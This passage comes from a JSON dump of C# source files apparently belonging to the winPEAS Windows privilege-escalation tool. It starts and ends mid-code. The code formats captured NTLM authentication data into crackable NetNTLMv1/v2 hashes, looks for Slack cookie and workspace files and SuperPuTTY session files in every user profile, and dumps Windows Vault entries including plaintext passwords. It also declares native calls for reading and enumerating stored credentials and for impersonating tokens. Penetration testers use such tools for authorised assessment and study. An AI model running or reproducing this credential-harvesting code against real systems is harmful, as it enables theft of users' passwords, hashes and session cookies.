nt_resp_len);\n            Array.Copy(message, domain_off, domain, 0, domain_len);\n            Array.Copy(message, user_off, user, 0, user_len);\n\n\n            if (nt_resp_len == 24)\n            {\n                return new NtlmHashInfo(\n                    \"NetNTLMv1\",\n                    FormatNetNtlmV1Hash(challenge, user, domain, lm_resp, nt_resp)\n                );\n            }\n            else if (nt_resp_len > 24)\n            {\n                return new NtlmHashInfo(\n                    \"NetNTLMv2\",\n                    FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp, 16, nt_resp.Length - 16))\n                );\n            }\n            else\n            {\n                throw new Exception($\"Couldn't parse nt_resp. Len: {nt_resp_len} Message bytes: {ByteArrayToString(message)}\");\n            }\n        }\n\n        public static T[] SubArray<T>(T[] data, int index, int length)\n        {\n            var result = new T[length];\n            Array.Copy(data, index, result, 0, length);\n            return result;\n        }\n\n        private static string FormatNetNtlmV1Hash(string challenge, byte[] user, byte[] domain, byte[] lm_resp, byte[] nt_resp)\n        {\n            return\n                $\"{Encoding.Unicode.GetString(user)}::{Encoding.Unicode.GetString(domain)}:{ByteArrayToString(lm_resp)}:{ByteArrayToString(nt_resp)}:{challenge}\";\n        }\n\n        private static string FormatNetNtlmV2Hash(string challenge, byte[] user, byte[] domain, byte[] lm_resp, byte[] nt_resp)\n        {\n            return\n                $\"{Encoding.Unicode.GetString(user)}::{Encoding.Unicode.GetString(domain)}:{challenge}:{ByteArrayToString(lm_resp)}:{ByteArrayToString(nt_resp)}\";\n        }\n\n        // source: https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa\n        private static byte[] StringToByteArray(string hexString)\n        {\n            var numChars = hexString.Length;\n            var bytes = new byte[numChars / 2];\n\n            for (var i = 0; i < numChars; i += 2)\n            {\n                bytes[i / 2] = Convert.ToByte(hexString.Substring(i, 2), 16);\n            }\n            return bytes;\n        }\n\n        private static string ByteArrayToString(byte[] ba)\n        {\n            var hex = new StringBuilder(ba.Length * 2);\n\n            foreach (var b in ba)\n            {\n                hex.AppendFormat(\"{0:x2}\", b);\n            }\n\n            return hex.ToString();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Slack/Slack.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS.Helpers;\nusing winPEAS.Info.UserInfo;\n\nnamespace winPEAS.KnownFileCreds.Slack\n{\n    internal static class Slack\n    {\n        const string SlackBasePath = @\"AppData\\Roaming\\Slack\\\";\n\n        internal static void PrintInfo()\n        {\n            Beaprint.MainPrint(\"Slack files & directories\");\n\n            Beaprint.ColorPrint(\"  note: check manually if something is found\", Beaprint.YELLOW);\n\n            var userDirs = User.GetUsersFolders();\n\n            foreach (var userDir in userDirs)\n            {\n                try\n                {\n                    var userSlackDir = Path.Combine(userDir, SlackBasePath);\n\n                    if (Directory.Exists(userSlackDir))\n                    {\n                        Beaprint.BadPrint($\"   Directory:       {userSlackDir}\");\n\n                        var userSlackCookiesFile = Path.Combine(userSlackDir, \"Cookies\");\n                        if (File.Exists(userSlackCookiesFile))\n                        {\n                            Beaprint.BadPrint($\"   File:            {userSlackCookiesFile}\");\n                        }\n\n                        var userSlackWorkspacesPath = Path.Combine(userSlackDir, @\"storage\\slack-workspaces\");\n                        if (File.Exists(userSlackWorkspacesPath))\n                        {\n                            Beaprint.BadPrint($\"   File:            {userSlackWorkspacesPath}\");\n                        }\n\n                        var userSlackDownloadsPath = Path.Combine(userSlackDir, @\"storage\\slack-downloads\");\n                        if (File.Exists(userSlackDownloadsPath))\n                        {\n                            Beaprint.BadPrint($\"   File:            {userSlackDownloadsPath}\");\n                        }\n                    }\n                }\n                catch (Exception)\n                {\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/SuperPutty/SuperPutty.cs",
    "content": "﻿using System;\nusing System.IO;\nusing winPEAS.Helpers;\nusing winPEAS.Info.UserInfo;\n\nnamespace winPEAS.KnownFileCreds.SuperPutty\n{\n    static class SuperPutty\n    {\n        public static void PrintInfo()\n        {\n            PrintConfigurationFiles();\n        }\n\n        private static void PrintConfigurationFiles()\n        {\n            Beaprint.MainPrint(\"SuperPutty configuration files\");\n\n            var dirs = User.GetUsersFolders();\n            var filter = \"sessions*.xml\";\n\n            foreach (var dir in dirs)\n            {\n                try\n                {\n                    var path = $\"{dir}\\\\Documents\\\\SuperPuTTY\\\\\";\n                    if (Directory.Exists(path))\n                    {\n                        var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);\n\n                        foreach (var file in files)\n                        {\n                            Beaprint.BadPrint($\"     {file}\");\n                        }\n                    }\n                }\n                catch (Exception)\n                {\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Vault/Enums/VAULT_ELEMENT_TYPE.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.KnownFileCreds.Vault.Enums\n{\n    public enum VAULT_ELEMENT_TYPE : Int32\n    {\n        Undefined = -1,\n        Boolean = 0,\n        Short = 1,\n        UnsignedShort = 2,\n        Int = 3,\n        UnsignedInt = 4,\n        Double = 5,\n        Guid = 6,\n        String = 7,\n        ByteArray = 8,\n        TimeStamp = 9,\n        ProtectedArray = 10,\n        Attribute = 11,\n        Sid = 12,\n        Last = 13\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Vault/Enums/VAULT_SCHEMA_ELEMENT_ID.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.KnownFileCreds.Vault.Enums\n{\n    public enum VAULT_SCHEMA_ELEMENT_ID : Int32\n    {\n        Illegal = 0,\n        Resource = 1,\n        Identity = 2,\n        Authenticator = 3,\n        Tag = 4,\n        PackageSid = 5,\n        AppStart = 100,\n        AppEnd = 10000\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Vault/Structs/VAULT_ITEM_ELEMENT.cs",
    "content": "﻿using System.Runtime.InteropServices;\nusing winPEAS.KnownFileCreds.Vault.Enums;\n\nnamespace winPEAS.KnownFileCreds.Vault.Structs\n{\n    [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)]\n    public struct VAULT_ITEM_ELEMENT\n    {\n        [FieldOffset(0)]\n        public VAULT_SCHEMA_ELEMENT_ID SchemaElementId;\n        [FieldOffset(8)]\n        public VAULT_ELEMENT_TYPE Type;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Vault/Structs/VAULT_ITEM_WIN7.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.KnownFileCreds.Vault.Structs\n{\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]\n    public struct VAULT_ITEM_WIN7\n    {\n        public Guid SchemaId;\n        public IntPtr pszCredentialFriendlyName;\n        public IntPtr pResourceElement;\n        public IntPtr pIdentityElement;\n        public IntPtr pAuthenticatorElement;\n        public UInt64 LastModified;\n        public UInt32 dwFlags;\n        public UInt32 dwPropertiesCount;\n        public IntPtr pPropertyElements;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Vault/Structs/VAULT_ITEM_WIN8.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.KnownFileCreds.Vault.Structs\n{\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]\n    public struct VAULT_ITEM_WIN8\n    {\n        public Guid SchemaId;\n        public IntPtr pszCredentialFriendlyName;\n        public IntPtr pResourceElement;\n        public IntPtr pIdentityElement;\n        public IntPtr pAuthenticatorElement;\n        public IntPtr pPackageSid;\n        public UInt64 LastModified;\n        public UInt32 dwFlags;\n        public UInt32 dwPropertiesCount;\n        public IntPtr pPropertyElements;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Vault/VaultCli.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Reflection;\nusing winPEAS.Helpers;\nusing winPEAS.KnownFileCreds.Vault.Structs;\nusing VaultCliNative = winPEAS.Native.Vaultcli;\n\nnamespace winPEAS.KnownFileCreds.Vault\n{\n    public static class VaultCli\n    {\n        public static List<Dictionary<string, string>> DumpVault()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n\n            try\n            {\n                // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs\n                var OSVersion = Environment.OSVersion.Version;\n                var OSMajor = OSVersion.Major;\n                var OSMinor = OSVersion.Minor;\n\n                Type VAULT_ITEM;\n\n                if (OSMajor >= 6 && OSMinor >= 2)\n                {\n                    VAULT_ITEM = typeof(VAULT_ITEM_WIN8);\n                }\n                else\n                {\n                    VAULT_ITEM = typeof(VAULT_ITEM_WIN7);\n                }\n\n                Int32 vaultCount = 0;\n                IntPtr vaultGuidPtr = IntPtr.Zero;\n                var result = VaultCliNative.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr);\n\n                //var result = CallVaultEnumerateVaults(VaultEnum, 0, ref vaultCount, ref vaultGuidPtr);\n\n                if ((int)result != 0)\n                {\n                    Console.WriteLine(\"  [ERROR] Unable to enumerate vaults. Error (0x\" + result.ToString() + \")\");\n                    return results;\n                }\n\n                // Create dictionary to translate Guids to human readable elements\n                IntPtr guidAddress = vaultGuidPtr;\n                Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>\n                {\n                    { new Guid(\"2F1A6504-0641-44CF-8BB5-3612D865F2E5\"), \"Windows Secure Note\" },\n                    { new Guid(\"3CCD5499-87A8-4B10-A215-608888DD3B55\"), \"Windows Web Password Credential\" },\n                    { new Guid(\"154E23D0-C644-4E6F-8CE6-5069272F999F\"), \"Windows Credential Picker Protector\" },\n                    { new Guid(\"4BF4C442-9B8A-41A0-B380-DD4A704DDB28\"), \"Web Credentials\" },\n                    { new Guid(\"77BC582B-F0A6-4E15-4E80-61736B6F3B29\"), \"Windows Credentials\" },\n                    { new Guid(\"E69D7838-91B5-4FC9-89D5-230D4D4CC2BC\"), \"Windows Domain Certificate Credential\" },\n                    { new Guid(\"3E0E35BE-1B77-43E7-B873-AED901B6275B\"), \"Windows Domain Password Credential\" },\n                    { new Guid(\"3C886FF3-2669-4AA2-A8FB-3F6759A77548\"), \"Windows Extended Credential\" },\n                    { new Guid(\"00000000-0000-0000-0000-000000000000\"), null }\n                };\n\n                for (int i = 0; i < vaultCount; i++)\n                {\n\n                    // Open vault block\n                    object vaultGuidString = System.Runtime.InteropServices.Marshal.PtrToStructure(guidAddress, typeof(Guid));\n                    Guid vaultGuid = new Guid(vaultGuidString.ToString());\n                    guidAddress = (IntPtr)(guidAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(typeof(Guid)));\n                    IntPtr vaultHandle = IntPtr.Zero;\n                    string vaultType;\n                    if (vaultSchema.ContainsKey(vaultGuid))\n                    {\n                        vaultType = vaultSchema[vaultGuid];\n                    }\n                    else\n                    {\n                        vaultType = vaultGuid.ToString();\n                    }\n                    result = VaultCliNative.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle);\n                    if (result != 0)\n                    {\n                        Console.WriteLine(\"Unable to open the following vault: \" + vaultType + \". Error: 0x\" + result.ToString());\n                        continue;\n                    }\n                    // Vault opened successfully! Continue.\n\n                    // Fetch all items within Vault\n                    int vaultItemCount = 0;\n                    IntPtr vaultItemPtr = IntPtr.Zero;\n                    result = VaultCliNative.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr);\n                    if (result != 0)\n                    {\n                        Console.WriteLine(\"Unable to enumerate vault items from the following vault: \" + vaultType + \". Error 0x\" + result.ToString());\n                        continue;\n                    }\n                    var structAddress = vaultItemPtr;\n                    if (vaultItemCount > 0)\n                    {\n                        // For each vault item...\n                        for (int j = 1; j <= vaultItemCount; j++)\n                        {\n                            Dictionary<string, string> vault_cred = new Dictionary<string, string>() {\n                            { \"GUID\", string.Format(\"{0}\", vaultGuid) },\n                            { \"Type\", vaultType },\n                            { \"Resource\", \"\" },\n                            { \"Identity\", \"\" },\n                            { \"PacakgeSid\", \"\" },\n                            { \"Credential\", \"\" },\n                            { \"Last Modified\", \"\" },\n                            { \"Error\", \"\" }\n                        };\n\n                            // Begin fetching vault item...\n                            var currentItem = System.Runtime.InteropServices.Marshal.PtrToStructure(structAddress, VAULT_ITEM);\n                            structAddress = (IntPtr)(structAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(VAULT_ITEM));\n\n                            IntPtr passwordVaultItem = IntPtr.Zero;\n                            // Field Info retrieval\n                            FieldInfo schemaIdInfo = currentItem.GetType().GetField(\"SchemaId\");\n                            Guid schemaId = new Guid(schemaIdInfo.GetValue(currentItem).ToString());\n                            FieldInfo pResourceElementInfo = currentItem.GetType().GetField(\"pResourceElement\");\n                            IntPtr pResourceElement = (IntPtr)pResourceElementInfo.GetValue(currentItem);\n                            FieldInfo pIdentityElementInfo = currentItem.GetType().GetField(\"pIdentityElement\");\n                            IntPtr pIdentityElement = (IntPtr)pIdentityElementInfo.GetValue(currentItem);\n                            FieldInfo dateTimeInfo = currentItem.GetType().GetField(\"LastModified\");\n                            UInt64 lastModified = (UInt64)dateTimeInfo.GetValue(currentItem);\n\n                            IntPtr pPackageSid = IntPtr.Zero;\n                            if (OSMajor >= 6 && OSMinor >= 2)\n                            {\n                                // Newer versions have package sid\n                                FieldInfo pPackageSidInfo = currentItem.GetType().GetField(\"pPackageSid\");\n                                pPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem);\n                                result = VaultCliNative.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem);\n                            }\n                            else\n                            {\n                                result = VaultCliNative.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem);\n                            }\n\n                            if (result != 0)\n                            {\n                                vault_cred[\"Error\"] = \"Occured while retrieving vault item. Error: 0x\" + result.ToString();\n                                continue;\n                            }\n                            object passwordItem = System.Runtime.InteropServices.Marshal.PtrToStructure(passwordVaultItem, VAULT_ITEM);\n                            FieldInfo pAuthenticatorElementInfo = passwordItem.GetType().GetField(\"pAuthenticatorElement\");\n                            IntPtr pAuthenticatorElement = (IntPtr)pAuthenticatorElementInfo.GetValue(passwordItem);\n                            // Fetch the credential from the authenticator element\n                            object cred = GetVaultElementValue(pAuthenticatorElement);\n                            object packageSid = null;\n                            if (pPackageSid != IntPtr.Zero && pPackageSid != null)\n                            {\n                                packageSid = GetVaultElementValue(pPackageSid);\n                            }\n                            if (cred != null) // Indicates successful fetch\n                            {\n                                object resource = GetVaultElementValue(pResourceElement);\n                                if (resource != null)\n                                {\n                                    vault_cred[\"Resource\"] = string.Format(\"{0}\", resource);\n                                }\n                                object identity = GetVaultElementValue(pIdentityElement);\n                                if (identity != null)\n                                {\n                                    vault_cred[\"Identity\"] = string.Format(\"{0}\", identity);\n                                }\n                                if (packageSid != null)\n                                {\n                                    vault_cred[\"PacakgeSid\"] = string.Format(\"{0}\", packageSid);\n                                }\n                                vault_cred[\"Credential\"] = string.Format(\"{0}\", cred);\n                                vault_cred[\"Last Modified\"] = string.Format(\"{0}\", DateTime.FromFileTimeUtc((long)lastModified));\n                                results.Add(vault_cred);\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        private static object GetVaultElementValue(IntPtr vaultElementPtr)\n        {\n            // Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct\n            // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs\n            object results;\n            object partialElement = System.Runtime.InteropServices.Marshal.PtrToStructure(vaultElementPtr, typeof(VAULT_ITEM_ELEMENT));\n            FieldInfo partialElementInfo = partialElement.GetType().GetField(\"Type\");\n            var partialElementType = partialElementInfo.GetValue(partialElement);\n\n            IntPtr elementPtr = (IntPtr)(vaultElementPtr.ToInt64() + 16);\n            switch ((int)partialElementType)\n            {\n                case 7: // VAULT_ELEMENT_TYPE == String; These are the plaintext passwords!\n                    IntPtr StringPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr);\n                    results = System.Runtime.InteropServices.Marshal.PtrToStringUni(StringPtr);\n                    break;\n                case 0: // VAULT_ELEMENT_TYPE == bool\n                    results = System.Runtime.InteropServices.Marshal.ReadByte(elementPtr);\n                    results = (bool)results;\n                    break;\n                case 1: // VAULT_ELEMENT_TYPE == Short\n                    results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr);\n                    break;\n                case 2: // VAULT_ELEMENT_TYPE == Unsigned Short\n                    results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr);\n                    break;\n                case 3: // VAULT_ELEMENT_TYPE == Int\n                    results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr);\n                    break;\n                case 4: // VAULT_ELEMENT_TYPE == Unsigned Int\n                    results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr);\n                    break;\n                case 5: // VAULT_ELEMENT_TYPE == Double\n                    results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Double));\n                    break;\n                case 6: // VAULT_ELEMENT_TYPE == GUID\n                    results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Guid));\n                    break;\n                case 12: // VAULT_ELEMENT_TYPE == Sid\n                    IntPtr sidPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr);\n                    var sidObject = new System.Security.Principal.SecurityIdentifier(sidPtr);\n                    results = sidObject.Value;\n                    break;\n                default:\n                    /* Several VAULT_ELEMENT_TYPES are currently unimplemented according to\n                     * Lord Graeber. Thus we do not implement them. */\n                    results = null;\n                    break;\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Native/Advapi32.cs",
    "content": "﻿using Microsoft.Win32;\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Runtime.ConstrainedExecution;\nusing System.Runtime.InteropServices;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing System.Text;\nusing winPEAS.Helpers.CredentialManager;\nusing winPEAS.Info.NetworkInfo;\nusing winPEAS.Native.Classes;\nusing winPEAS.Native.Enums;\nusing winPEAS.Native.Structs;\n\nnamespace winPEAS.Native\n{\n    internal class Advapi32\n    {\n        /// <summary>\n        ///     The CredRead function reads a credential from the user's credential set.\n        ///     The credential set used is the one associated with the logon session of the current token.\n        ///     The token must not have the user's SID disabled.\n        /// </summary>\n        /// <remarks>\n        ///     If the value of the Type member of the CREDENTIAL structure specified by the Credential parameter is\n        ///     CRED_TYPE_DOMAIN_EXTENDED, a namespace must be specified in the target name. This function can return only one\n        ///     credential of the specified type.\n        /// </remarks>\n        /// <param name=\"target\">Pointer to a null-terminated string that contains the name of the credential to read.</param>\n        /// <param name=\"type\">Type of the credential to read. Type must be one of the CRED_TYPE_* defined types.</param>\n        /// <param name=\"reservedFlag\">Currently reserved and must be zero.</param>\n        /// <param name=\"credentialPtr\">\n        ///     Pointer to a single allocated block buffer to return the credential.\n        ///     Any pointers contained within the buffer are pointers to locations within this single allocated block.\n        ///     The single returned buffer must be freed by calling CredFree.\n        /// </param>\n        /// <returns>The function returns TRUE on success and FALSE on failure.</returns>\n        [DllImport(\"Advapi32.dll\", EntryPoint = \"CredReadW\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern bool CredRead(string target, CredentialType type, int reservedFlag, out IntPtr credentialPtr);\n\n        /// <summary>\n        ///     The CredWrite function creates a new credential or modifies an existing credential in the user's credential set.\n        ///     The new credential is associated with the logon session of the current token.\n        ///     The token must not have the user's security identifier (SID) disabled.\n        /// </summary>\n        /// <remarks>\n        ///     This function creates a credential if a credential with the specified TargetName and Type does not exist. If a\n        ///     credential with the specified TargetName and Type exists, the new specified credential replaces the existing one.\n        ///     When this function writes a CRED_TYPE_CERTIFICATE credential, the Credential->CredentialBlob member specifies the\n        ///     PIN protecting the private key of the certificate specified by the Credential->UserName member. The credential\n        ///     manager does not maintain the PIN. Rather, the PIN is passed to the cryptographic service provider (CSP) indicated\n        ///     on the certificate for later use by the CSP and the authentication packages. The CSP defines the lifetime of the\n        ///     PIN. Most CSPs flush the PIN when the smart card removal from the smart card reader.\n        ///     If the value of the Type member of the CREDENTIAL structure specified by the Credential parameter is\n        ///     CRED_TYPE_DOMAIN_EXTENDED, a namespace must be specified in the target name. This function does not support writing\n        ///     to target names that contain wildcards.\n        /// </remarks>\n        /// <param name=\"userCredential\">A pointer to the CREDENTIAL structure to be written.</param>\n        /// <param name=\"flags\">Flags that control the function's operation. The following flag is defined.</param>\n        /// <returns>If the function succeeds, the function returns TRUE, if the function fails, it returns FALSE. </returns>\n        [DllImport(\"Advapi32.dll\", EntryPoint = \"CredWriteW\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern bool CredWrite([In] ref NativeMethods.CREDENTIAL userCredential, [In] UInt32 flags);\n\n        /// <summary>\n        ///     The CredFree function frees a buffer returned by any of the credentials management functions.\n        /// </summary>\n        /// <param name=\"cred\">Pointer to the buffer to be freed.</param>\n        [DllImport(\"Advapi32.dll\", EntryPoint = \"CredFree\", SetLastError = true)]\n        internal static extern void CredFree([In] IntPtr cred);\n\n        /// <summary>\n        ///     The CredDelete function deletes a credential from the user's credential set.\n        ///     The credential set used is the one associated with the logon session of the current token.\n        ///     The token must not have the user's SID disabled.\n        /// </summary>\n        /// <param name=\"target\">Pointer to a null-terminated string that contains the name of the credential to delete.</param>\n        /// <param name=\"type\">\n        ///     Type of the credential to delete. Must be one of the CRED_TYPE_* defined types.\n        ///     For a list of the defined types, see the Type member of the CREDENTIAL structure.\n        ///     If the value of this parameter is CRED_TYPE_DOMAIN_EXTENDED,\n        ///     this function can delete a credential that specifies a user name when there are multiple credentials for the same\n        ///     target. The value of the TargetName parameter must specify the user name as Target|UserName.\n        /// </param>\n        /// <param name=\"flags\">Reserved and must be zero.</param>\n        /// <returns>The function returns TRUE on success and FALSE on failure.</returns>\n        [DllImport(\"Advapi32.dll\", EntryPoint = \"CredDeleteW\", CharSet = CharSet.Unicode)]\n        internal static extern bool CredDelete(StringBuilder target, CredentialType type, int flags);\n\n        /// <summary>\n        /// Enumerate credentials in the credential store\n        /// signature: BOOL CredEnumerate (\n        ///  _In_ LPCTSTR     Filter,\n        ///  _In_ DWORD       Flags,\n        ///  _Out_ DWORD       *Count,\n        ///  _Out_ PCREDENTIAL **Credentials\n        ///);\n        /// <param name=\"filter\">[in] \n        /// Pointer to a null-terminated string that contains the filter for the returned credentials.Only credentials with a TargetName matching the filter will be returned.The filter specifies a name prefix followed by an asterisk.For instance, the filter \"FRED*\" will return all credentials with a TargetName beginning with the string \"FRED\".\n        /// If NULL is specified, all credentials will be returned.</param>\n        /// <param name=\"flag\">[in]        \n        /// The value of this parameter can be zero or more of the following values combined with a bitwise-OR operation.\n        ///  Value Meaning\n        ///  CRED_ENUMERATE_ALL_CREDENTIALS 0x1\n        ///  This function enumerates all of the credentials in the user's credential set. The target name of each credential is returned in the \"namespace:attribute=target\" format. If this flag is set and the Filter parameter is not NULL, the function fails and returns ERROR_INVALID_FLAGS.\n        ///  Windows Server 2003 and Windows XP:  This flag is not supported.\n        ///</param>\n        /// <param name=\"count\">[out] Count of the credentials returned in the Credentials array.</param>\n        /// <param name=\"pCredentials\"> [out]      \n        ///  Pointer to an array of pointers to credentials.The returned credential is a single allocated block. Any pointers contained within the buffer are pointers to locations within this single allocated block.The single returned buffer must be freed by calling CredFree.\n        ///  Return value\n        /// </param>\n        /// <returns>\n        /// The function returns TRUE on success and FALSE on failure. The GetLastError function can be called to get a more specific status code.The following status codes can be returned.\n        ///  Return code/value Description\n        ///  ERROR_NOT_FOUND\n        ///  1168 (0x490)\n        ///  No credential exists matching the specified Filter.\n        ///  ERROR_NO_SUCH_LOGON_SESSION\n        ///  1312 (0x520)\n        ///  The logon session does not exist or there is no credential set associated with this logon session. Network logon sessions do not have an associated credential set.\n        ///  ERROR_INVALID_FLAGS\n        ///  1004 (0x3EC)\n        ///  A flag that is not valid was specified for the Flags parameter, or CRED_ENUMERATE_ALL_CREDENTIALS is specified for the Flags parameter and the Filter parameter is not NULL.\n        /// </returns>\n        /// </summary>\n        [DllImport(\"Advapi32.dll\", EntryPoint = \"CredEnumerate\", SetLastError = true, CharSet = CharSet.Unicode)]\n        internal static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        internal static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);\n\n        //////////////////////////////////////////\n        ///////  Find Modifiable Services ////////\n        //////////////////////////////////////////\n\n        /// Find services that you can modify using PS os sc for example\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        internal static extern bool QueryServiceObjectSecurity(\n            IntPtr serviceHandle,\n            SecurityInfos secInfo,\n            byte[] lpSecDesrBuf,\n            uint bufSize,\n            out uint bufSizeNeeded);\n\n        [DllImport(\"advapi32.dll\", EntryPoint = \"GetNamedSecurityInfoW\", CharSet = CharSet.Unicode)]\n        internal static extern int GetNamedSecurityInfo(\n            string objectName,\n            SE_OBJECT_TYPE objectType,\n            SecurityInfos securityInfo,\n            out IntPtr sidOwner,\n            out IntPtr sidGroup,\n            out IntPtr dacl,\n            out IntPtr sacl,\n            out IntPtr securityDescriptor);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n        internal static extern bool ConvertSecurityDescriptorToStringSecurityDescriptor(\n            IntPtr SecurityDescriptor,\n            uint StringSDRevision,\n            SecurityInfos SecurityInformation,\n            out IntPtr StringSecurityDescriptor,\n            out int StringSecurityDescriptorSize);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        internal static extern bool GetTokenInformation(\n            IntPtr TokenHandle,\n            TOKEN_INFORMATION_CLASS TokenInformationClass,\n            IntPtr TokenInformation,\n            int TokenInformationLength,\n            out int ReturnLength);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Auto)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool LookupPrivilegeName(\n            string lpSystemName,\n            IntPtr lpLuid,\n            StringBuilder lpName,\n            ref int cchName);\n\n        [DllImport(\"advapi32.dll\")]\n        internal static extern bool\n            DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        internal static extern bool ImpersonateLoggedOnUser(IntPtr hToken);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        internal static extern bool RevertToSelf();\n\n        [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail), DllImport(\"advapi32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool DuplicateTokenEx([In] SafeTokenHandle ExistingTokenHandle, [In] AccessTypes DesiredAccess, [In] IntPtr TokenAttributes, [In] SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, [In] TokenType TokenType, [In, Out] ref SafeTokenHandle DuplicateTokenHandle);\n\n        [DllImport(\"advapi32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool GetTokenInformation(SafeTokenHandle hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr pTokenInfo, Int32 tokenInfoLength, out Int32 returnLength);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n        internal static extern int LogonUser(string lpszUserName, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool LookupPrivilegeValue(string systemName, string name, out LUID luid);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool OpenProcessToken(IntPtr ProcessHandle, AccessTypes DesiredAccess, out SafeTokenHandle TokenHandle);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool OpenThreadToken(IntPtr ThreadHandle, AccessTypes DesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool OpenAsSelf, out SafeTokenHandle TokenHandle);\n\n        [DllImport(\"advapi32.dll\", SetLastError = true)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        internal static extern bool SetThreadToken(IntPtr ThreadHandle, SafeTokenHandle TokenHandle);\n\n        [DllImport(\"advapi32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        internal static extern bool LookupAccountSid(\n            string? lpSystemName,\n            [MarshalAs(UnmanagedType.LPArray)] byte[] Sid,\n            StringBuilder lpName,\n            ref uint cchName,\n            StringBuilder ReferencedDomainName,\n            ref uint cchReferencedDomainName,\n            out SID_NAME_USE peUse);\n\n        // P/Invoke declaration for RegQueryValueExW\n        [DllImport(\"advapi32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        public static extern int RegQueryValueExW(\n            